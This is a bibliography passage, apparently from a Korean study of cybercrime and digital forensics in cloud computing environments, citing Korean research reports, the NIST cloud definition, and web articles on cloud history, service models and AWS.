[4] 이원상, & 이성식. (n.d.). 클라우드 컴퓨팅 환경에서의 사이버범죄와 대응방안 연구 (pp. 187-234). n.p.: 한국형사정책연구원.

[5] 강승아. (n.d.). 포렌식 데이터의 분류체계와 활용방안(석사). 고려대학교 정보보호대학원, n.p..

[6] Peter Mell, Timothy Grance. (n.d.). NIST Defenition of Cloud Computing. n.p.: NIST.

[7] The Evolution of Cloud Computing: From the Early Ideas of John McCarthy to Modern Platforms . (n.d.). https://www.elemento.cloud/post/the-evolution-of-cloud-computing-from-the-early-ideas-of-john-mccarthy-to-modern-platforms.

[8] 클라우드 컴퓨팅(cloud computing)의 과거, 현재, 미래 . (n.d.). https://www.igloo.co.kr/security-information/%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C-%EC%BB%B4%ED%93%A8%ED%8C%85cloud-computing%EC%9D%98-%EA%B3%BC%EA%B1%B0-%ED%98%84%EC%9E%AC-%EB%AF%B8%EB%9E%98/.

[9] IaaS, PaaS 및 SaaS 비교 . (n.d.). https://www.redhat.com/ko/topics/cloud-computing/iaas-vs-paas-vs-saas.

[10] [소개][초보자를 위한 AWS 웹구축] 0. 웹서버 아키텍처 소개 . (n.d.). https://tech.cloud.nongshim.co.kr/2018/10/11/%EC%B4%88%EB%B3%B4%EC%9E%90%EB%A5%BC-%EC%9C%84%ED%95%9C-aws-%EC%9B%B9%EA%B5%AC%EC%B6%95-%EC%9B%B9%EC%84%9C%EB%B2%84-%EC%95%84%ED%82%A4%ED%85%8D%EC%B2%98-%EC%86%8C%EA%B0%9C/.

[11] Amazon Web Services 개요 . (n.d.). https://docs.aws.amazon.com/ko_kr/whitepapers/latest/aws-overview/aws-overview.pdf#introduction.

[12] 한중수, 이승용, 오정훈, 김준수, 정혜진, 황현욱. (n.d.). 클라우드 스토리지 서비스에 대한 메타데이터 기반 파일선별수집 방법 구현. n.p.: 한국디지털포렌식학회.

0%